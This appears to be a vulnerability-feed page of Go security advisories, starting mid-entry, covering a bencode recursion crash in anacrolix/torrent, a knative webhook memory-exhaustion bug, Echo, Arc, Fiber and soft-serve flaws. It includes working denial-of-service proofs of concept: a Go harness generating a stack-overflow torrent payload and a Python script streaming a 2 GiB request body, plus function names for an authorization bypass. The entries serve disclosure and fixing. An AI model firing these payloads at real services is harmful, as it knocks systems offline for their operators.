- User Interaction (UI): Required - the conservative remote scenario needs the victim to open a magnet/torrent (or accept a peer's metadata); programmatic server ingestion removes this (UI:N -> 7.5).
- Scope (S): Unchanged - the impacted security authority is the embedding process itself.
- Confidentiality (C): None - no data disclosure.
- Integrity (I): None - no data modification.
- Availability (A): High - Defect 1 terminates the process with
fatal error: stack overflow(unrecoverable); Defect 2 starves a core for ~66 s+ per 0.2 MB v2 info dict with clean quadratic scaling.
Reproduction Steps
All runs are local-only within the test host; nothing contacts a network.
Environment and single harness
The harness is a single Go program (go test-style) that builds the malicious payload, then decodes it through the same public API the library uses. It reproduces both defects. Set up a temp module and run the two tests separately (Defect 1 crashes the process, so the two defects cannot share one test run):
go mod init torrent_recursion_dos
go mod edit -require github.com/anacrolix/torrent@v1.61.0
go mod edit -replace github.com/anacrolix/torrent=/path/to/your/checkout
go test -run TestDefect1_StackOverflow -v .
go test -run TestDefect2_CPUExhaustion -v .
Harness (torrent_recursion_dos_test.go, placed in a temp module that imports the local clone):
package torrent_recursion_dos
import (
"bytes"
"fmt"
"os"
"testing"
"github.com/anacrolix/torrent/bencode"
"github.com/anacrolix/torrent/metainfo"
)
// buildInfo loops a list (l ... l e ... e) nested `depth` levels, wrapped in a
// valid .torrent: { "info": <that list> }.
func buildInfo(depth int, mode byte) []byte {
var b bytes.Buffer
b.WriteString("d4:infod")
for i := 0; i < depth; i++ {
b.WriteByte(mode) // 'l' for a nested list
}
for i := 0; i < depth; i++ {
b.WriteByte('e')
}
b.WriteString("ee")
return b.Bytes()
}
// buildV2Info builds a v2 info dict whose "file tree" nests `depth` single-key
// dicts around a valid 32-byte-pieces-root file leaf.
func buildV2Info(depth int) []byte {
leaf := map[string]interface{}{
"": map[string]interface{}{
"length": 5,
"pieces root": string(bytes.Repeat([]byte{'A'}, 32)),
},
}
node := leaf
for i := 0; i < depth; i++ {
node = map[string]interface{}{"a": node}
}
info := map[string]interface{}{
"meta version": 2, "piece length": 32768, "file tree": node,
}
out, _ := bencode.Marshal(info)
return out
}
// Defect 1: metainfo.Load on a .torrent with a deeply nested info list
// derives a fatal `goroutine stack exceeds 1000000000-byte limit`.
func TestDefect1_StackOverflow(t *testing.T) {
depth := 4_000_000 // ~8 MB; adjust down if the runtime stack cap differs
in := buildInfo(depth, 'l')
if len(os.Getenv("SKIP_CRASH")) == 0 {
// Decodes into MetaInfo; InfoBytes is a bencode.Bytes unmarshaler, so
// this drives readOneValue recursion. Crashes the process.
_, err := metainfo.Load(bytes.NewReader(in))
_ = err
}
fmt.Printf("[defect1] decoded depth=%d without crashing\n", depth)
}
// Defect 2: decoding a v2 info dict with a deep file tree is CPU-quadratic.
func TestDefect2_CPUExhaustion(t *testing.T) {
depth := 30_000 // ~0.2 MB; ~66 s on this machine
src := buildV2Info(depth)
var info metainfo.Info
if err := bencode.Unmarshal(src, &info); err != nil {
t.Fatal(err)
}
fmt.Println("[defect2] parsed deep v2 file tree")
}
Observations with the pinned commit (Go 1.26, laptop):
# TestDefect1 - process aborts, unrecoverable:
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
[exit status 2]
# TestDefect2 - wall-clock parse time (single-threaded):
depth=30_000 => ~66 s
depth=60_000 => >90 s (timeout)
To reproduce defect 1 from a saved file instead of the in-memory harness, generate the payload and open it with any of the shipped tools or the metainfo.Load API. The payload is produced inline by the Go harness above; equivalently, emit the same 8,000,010 bytes as d4:infod + 4,000,000 l + 4,000,000 e + ee:
./cmd/torrent -seed -metainfo ./crash.torrent # crashes
The payload is a single static file; it performs no network I/O, writes nothing, and is a plain non-destructive crash reproducer (a harness, not a weapon).
Recommendations
- Add a nesting-depth limit to the decoder (recommended, fixes both defects). Thread a depth counter through
parseValue/parseDict/parseList/parseValueInterface/parseListInterface/parseDictInterface/readOneValue, and return aSyntaxErrorwhen it exceeds a sane bound (e.g. 64). Forward-compatibly, expose it onDecoderlike the existingMaxStrLen(bencode/decode.go:21-32). 2. MakereadOneValuelength-aware. Apply the sameMaxStrLenbound to theio.CopyN(&d.buf, d.r, length)atbencode/decode.go:564instead of trusting the raw length field, so oversized bulk fields fail asSyntaxErrorinstead of being buffered. 3. Break the O(n²) inFileTree.UnmarshalBencode. Parse the file tree with an explicit, depth-bounded iterative walk (or a single pass over the raw value) instead of re-runningbencode.Unmarshalon every subtree level. The depth bound from (1) already arrests the quadratic growth. 4. Convert fatal overflow into a recoverable error. Guarantee that no input can grow the goroutine stack beyond the runtime limit; the depth bound in (1) achieves this. Do not rely onrecover()- a stack overflow isfataland unrecoverable in Go. 5. Fuzz with depth in mind. Add a fuzz seed / corpus that includes deeply nestedd/lvalues and assert both that decoding returns an error (not a crash) and that no level trips the depth limit.
References
- Source (pinned):
https://github.com/anacrolix/torrent @ 4ad31c5170787215c51c6ddaa54abc06b623c11c- Unbounded recursion:
bencode/decode.go:546-549,bencode/decode.go:591 - File-tree recursion:
metainfo/file-tree.go:42-49 - Public entry points:
metainfo/metainfo.go:35-50,client.go:1776,torrent.go:638 - Missing
MaxStrLenin bulk read:bencode/decode.go:564 - Metadata size cap (remote reachability):
global.go:18, reassembly calltorrent.go:1874
- Unbounded recursion:
- Prior hardening in this codebase (unrelated to this class, recorded for completeness):
- v2 pieces-root panic fix: commit
7218a979("validate v2 file tree pieces root length before torrent setup"), present at the pinned commit viamisc.go:92->file-tree.go:164. - Path-traversal safeguards in storage (
storage/file-paths.go:32isSubFilepath,storage/safe-path.go:16ToSafeFilePath) - inspected and found to hold (not the issue here).
- v2 pieces-root panic fix: commit
- No published advisory found: OSV.dev and NVD return no records for the package (
github.com/anacrolix/torrent, purlpkg:golang/github.com/anacrolix/torrent); the Go ecosystem advisory database lists none.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 6.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Versions
- < 1.61.1-0.20260911233437-76452a2c8a2f · fixed in 1.61.1-0.20260911233437-76452a2c8a2f
- Weakness
- CWE-407, CWE-674
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Oct 30, 2026 · first seen here 1 h ago
CVSS score: 6.5 Severity: Medium Identifier: CVE-2026-55098GHSA-93CM-2V4M-C56C Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735 Package: github.com/basekick-labs/arc fixed in 0.0.0-20260610131716-5dc8f53b70a3 Published Published
Arc is an open, SQL-native time-series database for telemetry. Prior to the repository-verified 26.06.2 repair, the remediation of CVE-2026-47735 leaves a cross-database authorization bypass through DuckDB table-valued I/O functions. In internal/database/sandbox.go, allowed_directories uses cfg.LocalStorageRoot, configured by storage.local_path, while enable_external_access=false blocks access outside that entire multi-tenant root. GetStoragePath in internal/storage/util.go stores all databases beneath it. In internal/api/query.go, extractTableReferences skips names followed by an opening parenthesis and checkQueryPermissions allows queries with no extracted table references, including tokens with permissions: []. The userSQLReadParquetPattern denylist catches literal read_parquet( and the earlier protection also blocks arc_partition_agg(, but misses the parquet_scan alias and glob, parquet_metadata, parquet_schema, read_blob, read_csv_auto, read_json and read_text. A request to POST /api/v1/query using these unblocked functions passes ValidateSQLRequest and convertSQLToStoragePaths without tenant authorization, allowing reads and enumeration of other databases' time-series data, schema and per-column value-range statistics within the allowlisted root. The sandbox still blocks out-of-root OS files and HTTP SSRF, and the sibling SQLite token database outside the root is not exposed by this mechanism. The earlier 26.06.1 remediation does not comprehensively deny these I/O functions. Repository tag 26.06.2 contains the I/O-function repair and supplies the provisional remediation boundary; conflicting advisory affected-version statements require curator adjudication.
- Exploitation
- No known exploitation
- EPSS
- 0.44% chance of exploitation in the next 30 days, higher than 29.7% of CVEs
- CVSS
- 6.5 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Versions
- < 0.0.0-20260610131716-5dc8f53b70a3 · fixed in 0.0.0-20260610131716-5dc8f53b70a3
- Weakness
- CWE-200, CWE-863
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 30, 2026 · first seen here 1 h ago
CVSS score: 6.5 Severity: Medium Identifier: GHSA-2HW4-C9M4-F2FJ knative.dev/pkg admission webhooks allow unbounded request-body memory exhaustion Package: knative.dev/pkg fixed in 0.0.0-20260531000007-52dbd5ece63f Published Published
⚠️ Update (verification, 2026-05-19): C-2 confirmed end-to-end — 4.5× amplification observed (worse than the advisory's conservative 2× claim)
Built a Go PoC (cmd/poc-c2/main.go) that runs the exact 8-line vulnerable snippet from webhook/admission.go:109-117 verbatim under the same http.HandlerFunc shape (the full production admissionHandler at :85 requires *Webhook + AdmissionController + an informer-synced channel + controller-runtime / client-go scaffolding — the bug is the missing http.MaxBytesReader, nothing else in the handler). Bound to 127.0.0.1:18098.
PoC client streamed 2 GiB of a bytes over a raw TCP socket. runtime.MemStats.HeapAlloc sampler:
baseline: HeapAlloc = 0.32 MiB
peak: HeapAlloc = 9 217.38 MiB = 9.00 GiB
ratio: 4.50× the body size
The advisory predicted ~2× from io.TeeReader doubling the body once in bodyBuffer. The observed 4.5× ratio comes from the interaction of two amplifiers: bytes.Buffer.ReadFrom (used by TeeReader-fed bodyBuffer) doubles its backing slice on every grow, so peak occupancy during a realloc is old + new = 3× the live data — and json.Decoder holds its own working buffer in parallel. The advisory's 2× floor is comfortably exceeded.
Downstream impact reminder: this library backs every Knative serving / eventing controller, every Tekton Triggers / Pipelines webhook, KEDA, Sigstore policy-controller, Kpack, and many more. A 2 GiB body to any of those projects' admission webhook ports OOMs the controller at 4.5× the body — i.e., even a 128 MiB request OOMs a 512 MiB-limited Pod.
Summary
knative.dev/pkg's admission webhook handler reads the incoming HTTP request body via json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)) with no http.MaxBytesReader wrapping the body. Because every consumer of knative.dev/pkg/webhook inherits this handler (Knative serving / eventing, Tekton Pipelines, KEDA, Sigstore policy-controller, and others), a single oversized POST to any of those projects' admission webhook ports drives the controller pod into memory exhaustion and OOM-kill. Worse, the io.TeeReader design keeps a verbatim copy of the body in bodyBuffer while the decoder also materializes the parsed struct — so the peak memory usage is roughly twice the body size.
This is the same shape as CVE-2026-24514 (ingress-nginx) and GHSA-9539-c3xr-w9vm (Kyverno admission body OOM) filed today against the same antipattern.
Affected versions
knative.dev/pkg—mainHEAD ongithub.com/knative/pkg(verified 2026-05-18 againstwebhook/admission.gosha1ad5a1ce0ee7043081cb50fd1acc6d36a9126844).- Every release that ships the current
webhook/admission.gohandler.
Vulnerable code
review := admissionv1.AdmissionReview{}
var bodyBuffer bytes.Buffer
if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil {
http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest)
return
}
There is no http.MaxBytesReader around r.Body. The standard library's json.NewDecoder will read until EOF or the matching closing }. The io.TeeReader simultaneously copies every byte read from r.Body into bodyBuffer, which the rest of the handler uses for the response trailer / observability.
Downstream impact (the reason this matters)
knative.dev/pkg/webhook is the default admission-webhook scaffolding for the entire Knative + CNCF webhook ecosystem:
| Consumer | Repo | Webhook surface |
|---|---|---|
| Knative serving | knative/serving |
resource validation / defaulting |
| Knative eventing | knative/eventing |
resource validation / defaulting |
| Tekton Pipelines | tektoncd/pipeline |
Pipeline / Task / TaskRun validation |
| Tekton Triggers | tektoncd/triggers |
EventListener / Trigger validation |
| KEDA | kedacore/keda |
ScaledObject / ScaledJob validation |
| Sigstore policy-controller | sigstore/policy-controller |
ClusterImagePolicy mutating + validating |
| Kpack | buildpacks-community/kpack |
Image / Builder validation |
| ... |
Every one of these consumers ships the same io.ReadAll-equivalent body read with no upper bound. A pod-network-reachable attacker can OOM-kill any of them with a single large POST. failurePolicy=Fail admission webhooks (the secure-default) then take the namespace's or cluster's admission flow offline until the controller restarts.
Impact
- Class: CWE-770 unbounded allocation. Reachable from any pod-network client.
- Severity per consumer: depends on how each consumer configures
failurePolicy. For projects withfailurePolicy=Fail(e.g., Sigstore policy-controller's image-policy enforcement), the consequence is cluster-wide admission outage. ForfailurePolicy=Ignore, the consequence is "this project's webhook is offline" but the API server continues admitting requests. - Severity: matches the broader CVE-2026-24514 / GHSA-9539-c3xr-w9vm. Single-packet DoS on the library; each downstream consumer inherits the bug.
Reproduction
The exact same PoC built against Kyverno's admission handler reproduces this:
import socket
total = 2 << 30 # 2 GiB
s = socket.create_connection(('<knative-or-tekton-webhook-host>', 8443))
s.sendall(b'POST /<admission-path> HTTP/1.1\r\nHost: x\r\nContent-Type: application/json\r\nContent-Length: %d\r\nConnection: close\r\n\r\n' % total)
chunk = b'a' * (1 << 20)
for _ in range(total >> 20): s.sendall(chunk)
Observed against the Kyverno admission handler (same antipattern):
baseline: HeapAlloc=7 MiB Sys=22 MiB
after read: HeapAlloc=9500 MiB Sys=9548 MiB (4 GiB body → 9.5 GiB peak; io.TeeReader doubles)
For the knative/pkg version, the io.TeeReader doubles the resident memory (one copy in the decoder's accumulating slice, one in bodyBuffer). A kyverno-admission-controller-equivalent Pod with a 256 MiB memory limit OOM-kills with ~128 MiB of body.
Suggested fix
Wrap the request body with http.MaxBytesReader (and add a http.StatusRequestEntityTooLarge branch on the MaxBytesError path):
const maxAdmissionRequestSize = 8 << 20 // 8 MiB — controller-runtime's default; large enough for Kubernetes' own admission objects
r.Body = http.MaxBytesReader(w, r.Body, maxAdmissionRequestSize)
var bodyBuffer bytes.Buffer
review := admissionv1.AdmissionReview{}
if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil {
var mbe *http.MaxBytesError
if errors.As(err, &mbe) {
http.Error(w, "admission body exceeds maximum size", http.StatusRequestEntityTooLarge)
return
}
http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest)
return
}
This propagates a fix to every downstream consumer with no API change, and the cap can be made configurable per-server via a new field on the webhook.Options struct.
Disclosure
Reporting privately under your security policy. No public disclosure on my side until you have a fix or coordinated timeline. Encourage maintainers to coordinate with downstream consumers (Knative, Tekton, KEDA, Sigstore) on simultaneous release.
Reporter
tonghuaroot (tonghuaroot@gmail.com)
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 6.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Versions
- < 0.0.0-20260531000007-52dbd5ece63f · fixed in 0.0.0-20260531000007-52dbd5ece63f
- Weakness
- CWE-770
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Oct 28, 2026 · first seen here 1 h ago
CVSS score: 6.1 Severity: Medium Identifier: CVE-2026-88986GHSA-G3QX-FRCG-J979 Kubeflow Pipelines: Reflected XSS in the frontend pod information and events error responses Package: github.com/kubeflow/pipelines fixed in 0.0.0-20251010122814-fedc25e3f725 Published Published
Kubeflow Pipelines enables users to build and deploy portable, scalable machine learning workflows. Prior to 2.15.0, the frontend routes /pipeline/k8s/pod and /pipeline/k8s/pod/events use frontend/server/k8s-helper.ts to include untrusted podname and podnamespace query values and backend error details in HTML-capable error responses. An unauthenticated attacker can craft a link that executes JavaScript in the frontend origin when a user who satisfies the deployment's authentication and route-access requirements follows it and reaches an affected response. Cookie disclosure depends on cookie attributes, and server-side code execution or availability impact is not established. This issue is fixed in version 2.15.0.
- Exploitation
- No known exploitation
- EPSS
- 0.49% chance of exploitation in the next 30 days, higher than 34.8% of CVEs
- CVSS
- 6.1 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Versions
- < 0.0.0-20251010122814-fedc25e3f725 · fixed in 0.0.0-20251010122814-fedc25e3f725
- Weakness
- CWE-79
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 5, 2026 · first seen here 1 h ago
CVSS score: 6.1 Severity: Medium Identifier: CVE-2026-118656GHSA-V753-G4CW-JM48 Echo has Open Redirect via Control-Character Prefix Defeating sanitizeURI Package: github.com/labstack/echo/v5 fixed in 5.4.0 Published Published
Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, sanitizeURI checks only the first two bytes of a redirect target before deciding whether it begins with an absolute-path separator pair. When AddTrailingSlash or RemoveTrailingSlash is configured with a redirect status, a slash, TAB, separator path form can evade the guard, be emitted in the Location header, and be normalized by a browser into an attacker-controlled host. This issue is fixed in 4.16.0 and 5.4.0.
- Exploitation
- No known exploitation
- EPSS
- 0.35% chance of exploitation in the next 30 days, higher than 20.9% of CVEs
- CVSS
- 6.1 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Versions
- < 5.4.0 · fixed in 5.4.0
- Weakness
- CWE-601
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 28, 2026 · first seen here 1 h ago
CVSS score: 6.1 Severity: Medium Identifier: CVE-2026-118652GHSA-H9G5-28MM-HX3G Echo vulnerable to Reflected Cross-Site Scripting (XSS) via unsanitized JSONP callback in Context.JSONP / Context.JSONPBlob Package: github.com/labstack/echo/v5 fixed in 5.4.0 Published Published
Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Context.JSONP and Context.JSONPBlob concatenate an unvalidated callback value into a JavaScript response. A route that passes attacker-controlled input as the callback can return executable script syntax, allowing reflected cross-site scripting when a user loads the crafted response. The vulnerable jsonPBlob path performs no callback validation or escaping, and exploitation requires an application route that exposes attacker control over the callback argument. This issue is fixed in 4.16.0 and 5.4.0.
- Exploitation
- No known exploitation
- EPSS
- 0.34% chance of exploitation in the next 30 days, higher than 19.7% of CVEs
- CVSS
- 6.1 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Versions
- < 5.4.0 · fixed in 5.4.0
- Weakness
- CWE-79
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 28, 2026 · first seen here 1 h ago
CVSS score: 5.9 Severity: Medium Identifier: CVE-2026-125325GHSA-W437-9MWM-J6VQ pgEdge RAG Server shared keyword index leaked results between concurrent unauthenticated requests Package: github.com/pgedge/pgedge-rag-server fixed in 1.0.1-0.20260729020411-a09d4872356b Published Published
pgEdge RAG Server is an API server for retrieval-augmented generation over PostgreSQL content using pgvector. Prior to 2.0.0, the BM25 keyword index is a single per-pipeline object shared by the unauthenticated query endpoint, and concurrent requests lock its clear, refill, and search operations separately. This allows one request to search a corpus populated through another request's search filter, which can return documents belonging to a different tenant or customer without malformed input. The affected responses cannot be identified retrospectively from the server logs. This issue is fixed in version 2.0.0.
- Exploitation
- No known exploitation
- EPSS
- 0.34% chance of exploitation in the next 30 days, higher than 20.3% of CVEs
- CVSS
- 5.9 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Versions
- < 1.0.1-0.20260729020411-a09d4872356b · fixed in 1.0.1-0.20260729020411-a09d4872356b
- Weakness
- CWE-362, CWE-488
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 10, 2026 · first seen here 1 h ago
CVSS score: 5.9 Severity: Medium Identifier: CVE-2026-119299GHSA-358W-W75H-X6RX gopacket: SCTP chunk sub-decoder out-of-bounds panics on crafted segments Package: github.com/gopacket/gopacket fixed in 1.7.2 Published Published
gopacket provides packet processing capabilities for Go. Prior to 1.7.2, the SCTP chunk chain in layers/sctp.go passes attacker-controlled declared lengths and counts to decodeSCTPInit, decodeSCTPShutdown, decodeSCTPError, decodeSCTPSack, and decodeSCTPParameter without checking that each chunk contains the fixed fields, parameter TLVs, gap acknowledgements, or duplicate TSNs those sub-decoders read. A crafted SCTP segment can therefore cause out-of-bounds or inverted slice panics; the panic can terminate applications that use gopacket.DecodeOptions.SkipDecodeRecovery, direct registered decoders, or DecodingLayerParser with IgnorePanic enabled, while the default recovery-enabled APIs convert it to a per-packet decode error. This is the SCTP sub-decoder residual named but not remediated by CVE-2026-65819, whose version 1.7.1 changes bounded the generic dispatcher but left these per-type reads and loops unchecked. The impact is availability only, with no data disclosure, modification, or allocation amplification. This issue is fixed in version 1.7.2.
- Exploitation
- No known exploitation
- EPSS
- 0.52% chance of exploitation in the next 30 days, higher than 37.1% of CVEs
- CVSS
- 5.9 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Versions
- <= 1.7.1 · fixed in 1.7.2
- Weakness
- CWE-125, CWE-129
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 30, 2026 · first seen here 1 h ago
CVSS score: 5.9
Severity: Medium
Identifier: GHSA-F3FJ-9625-RV3M
charmbracelet/soft-serve: Race in SetPrivate leaves a private repository readable by unauthenticated users
Package: github.com/charmbracelet/soft-serve fixed in 0.12.3
Published Published
Summary
Soft Serve cached repository records in memory with no expiry, and trusted the cached record for every access check. SetPrivate cleared the cached record before it saved the new visibility, and not afterwards.
A request that arrived between the two read the old, public record from the database and cached it after the change was saved. From then on every access check used that stale record, so a repository the operator had just made private stayed readable by unauthenticated users over HTTP, SSH, and git:// until the server restarted.
Impact
An unauthenticated attacker can keep reading a repository after it is made private, including everything pushed to it afterwards. The attacker needs no account and no timing knowledge: a client polling GET /<repo>.git/info/refs?service=git-upload-pack, which the default anon-access: read-only allows, will eventually land in the window when the operator changes the visibility.
The stale record lasts until the server restarts or the entry is evicted, and the operator gets no sign of it. repo private <name> reads the database directly and reports true, and the visibility_change webhook is not sent, because its check reads the same stale record.
Write access is not gained. Because the repository was public until the change, an attacker able to win the race could already read its contents up to that point. What this adds is continued access to everything pushed after the operator made it private.
Deployments that run several Soft Serve processes against one shared database were affected more broadly. Each process kept its own cache, so a visibility change made through one process never reached the others, with no race required.
Reachable over HTTP, SSH, and git:// (AV:N). Success depends on a visibility change made by the operator, which the attacker does not control (AC:H). No privileges are required under the default anonymous read access (PR:N), and the attacker interacts with no one, since the operator's change is already captured by AC:H (UI:N). Continued read access to a repository its owner has made private is a high confidentiality impact (C:H), with no integrity or availability impact (I:N, A:N).
Root Cause
The cache was the source of truth for access checks, and clearing it was treated as a step before the write rather than after it.
Backend.Repository in pkg/backend/repo.go returned the cached record when present, and on a miss read the database and stored the result. The cache was a plain LRU of 1000 entries with no expiry (pkg/backend/cache.go), and AccessLevelForUser read the private flag from that record.
SetPrivate ran in this order:
d.cache.Delete(name)
... d.db.TransactionContext(ctx, func(tx *db.Tx) error {
... writes or removes git-daemon-export-ok ...
return d.store.SetRepoIsPrivateByName(ctx, tx, name, private)
})
A reader that missed the cache after the Delete but read the database before the commit got the old row, and stored it after the commit. Nothing ever cleared it again.
SetHidden, SetMirror, SetDescription, and SetProjectName cleared the cache in the same place. DeleteRepository and RenameRepository deferred the clear inside the transaction function, which also runs before the commit.
Moving the clear to after the commit would not have been enough on its own. A reader that read the old row before the commit could still store it after the clear.
Affected Versions
v0.6.0 through v0.12.2. The repository cache and this ordering arrived with the database-backed backend in commit e398b4d (refactor: implement database module and abstract backend, #337), first released in v0.6.0. Versions v0.5.x used a different backend and were not assessed.
Patches
Fixed in v0.12.3.
The repository cache is removed. Every lookup now reads the database, so an access check always sees the visibility most recently saved, whether by this process or any other sharing the database.
Removing the cache was preferred over making it race-free. A database lookup costs tens of microseconds on SQLite, which is small next to the Git work behind each request, while keeping the cache correct needed a versioning scheme around every write and still left multi-process deployments stale. Without the cache, the whole class of stale-authorization bugs goes away rather than this one instance.
The visibility_change webhook is also fixed in the same release. It now compares against the visibility saved before the change, so it fires when visibility actually changes and only then.
Workarounds
It is recommended to upgrade to the patched release.
No configuration closes the race. Restarting the server clears a stale record and restores correct access checks until the next visibility change. Operators who cannot upgrade immediately should create repositories as private from the start (repo create -p) rather than making public ones private, and avoid changing visibility while the server is serving traffic.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 5.9 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Versions
- >= 0.6.0, < 0.12.3 · fixed in 0.12.3
- Weakness
- CWE-362, CWE-367
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Oct 30, 2026 · first seen here 1 h ago
CVSS score: 5.9 Severity: Medium Identifier: CVE-2026-119285GHSA-G5JQ-QMQR-QRWF Fiber: CORS wildcard origins matched without a dot boundary, allowing credentialed cross-origin reads Package: github.com/gofiber/fiber/v2 fixed in 2.52.3 Published Published
Fiber is an Express inspired web framework written in Go. From 2.52.1 until 2.52.3, the CORS middleware's validateDomain wildcard matcher in middleware/cors/utils.go strips the scheme and checks only a host suffix without requiring a dot boundary. An application configured with a wildcard-subdomain AllowOrigins value and AllowCredentials enabled can reflect an unrelated attacker-controlled origin whose host merely ends with the configured base domain. A user who visits that origin can expose authenticated cross-origin responses to the attacker's page; empty-label origins and later comma-space parsing hardening are outside this advisory. This issue is fixed in version 2.52.3.
- Exploitation
- No known exploitation
- EPSS
- 0.18% chance of exploitation in the next 30 days, higher than 4.5% of CVEs
- CVSS
- 5.9 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N - Versions
- >= 2.52.1, <= 2.52.2 · fixed in 2.52.3
- Weakness
- CWE-346, CWE-942
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 29, 2026 · first seen here 1 h ago
CVSS score: 5.9 Severity: Medium Identifier: CVE-2026-118657GHSA-2FFQ-G2XG-C22P Echo: HTTPS Redirect and HSTS Bypass via Unconditional Trust of Forwarded Scheme Headers Package: github.com/labstack/echo/v5 fixed in 5.4.0 Published Published
Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Context.Scheme unconditionally trusts forwarded scheme headers from any client. A client that reaches Echo directly over plaintext HTTP can claim an HTTPS scheme and bypass HTTPSRedirect because the request is treated as already secure. Separately, behind a TLS-terminating proxy that passes an attacker-controlled header, a claimed HTTP scheme can suppress the Strict-Transport-Security header even though the browser receives the response over HTTPS. The practical risk is reduced when a trusted proxy overwrites the headers and direct backend access is prevented, but the framework previously had no trusted-source configuration for this decision. This issue is fixed in 4.16.0 and 5.4.0.
- Exploitation
- No known exploitation
- EPSS
- 0.19% chance of exploitation in the next 30 days, higher than 5.0% of CVEs
- CVSS
- 5.9 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N - Versions
- < 5.4.0 · fixed in 5.4.0
- Weakness
- CWE-346
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 28, 2026 · first seen here 1 h ago
CVSS score: 5.9 Severity: Medium Identifier: CVE-2026-118655GHSA-XWQ5-6CQP-VX96 Echo has a Static Middleware Double-Unescape Path Traversal Package: github.com/labstack/echo/v5 fixed in 5.2.0 Published Published
Echo is a Go web framework. Prior to 4.15.3 and 5.2.0, middleware.Static can decode an already decoded Request.URL.Path a second time. Double-encoded separators can consequently be reconstructed before filesystem resolution. This can reach a file under a guarded route when the static middleware is registered globally. This issue is fixed in 4.15.3 and 5.2.0.
- Exploitation
- No known exploitation
- EPSS
- 0.50% chance of exploitation in the next 30 days, higher than 35.4% of CVEs
- CVSS
- 5.9 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Versions
- < 5.2.0 · fixed in 5.2.0
- Weakness
- CWE-174
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 28, 2026 · first seen here 1 h ago
CVSS score: 5.9 Severity: Medium Identifier: CVE-2026-118654GHSA-3PMX-CF9F-34XR Echo static file middleware route protection bypass via encoded dot-dot traversal Package: github.com/labstack/echo/v5 fixed in 5.4.0 Published Published
Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Echo's static file handlers can normalize dot segments after route matching and serve a file through a public static route even though the corresponding direct path is protected by route-level middleware. An unauthenticated attacker can read files that an application intended to protect with route-level middleware, when those files are also reachable through a static filesystem mount after path normalization. This vulnerability is the result of an incomplete fix for CVE-2026-55677. This issue is fixed in 4.16.0 and 5.4.0.
- Exploitation
- No known exploitation
- EPSS
- 0.48% chance of exploitation in the next 30 days, higher than 33.9% of CVEs
- CVSS
- 5.9 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Versions
- < 5.4.0 · fixed in 5.4.0
- Weakness
- CWE-22
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 28, 2026 · first seen here 1 h ago
CVSS score: 5.8 Severity: Medium Identifier: CVE-2026-125328GHSA-8835-XMQJ-354H pgEdge Go LLM Library discloses provider API key fragments in error messages Package: github.com/pgedge/pgedge-go-llm-lib fixed in 0.1.2-0.20260729024727-7531a55d368b Published Published
pgEdge Go LLM Library provides a unified Go interface for multiple LLM providers with streaming, tool calling, retries, and an HTTP and server-sent events proxy. From 0.1.0 until 0.2.0, GET /v1/health in llm/proxy/handlers.go uses handleHealth to ping providers with the operator's real credentials and returns their error text, while the Authorize hook in llm/proxy/proxy.go permits access by default when the consuming application does not configure it. When a provider rejects the configured credential, a remote caller who can reach the proxy can obtain part of the operator's third-party provider API key from the resulting error. This issue is fixed in version 0.2.0.
- Exploitation
- No known exploitation
- EPSS
- 0.40% chance of exploitation in the next 30 days, higher than 25.5% of CVEs
- CVSS
- 5.8 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N - Versions
- < 0.1.2-0.20260729024727-7531a55d368b · fixed in 0.1.2-0.20260729024727-7531a55d368b
- Weakness
- CWE-209, CWE-522
- Linked via
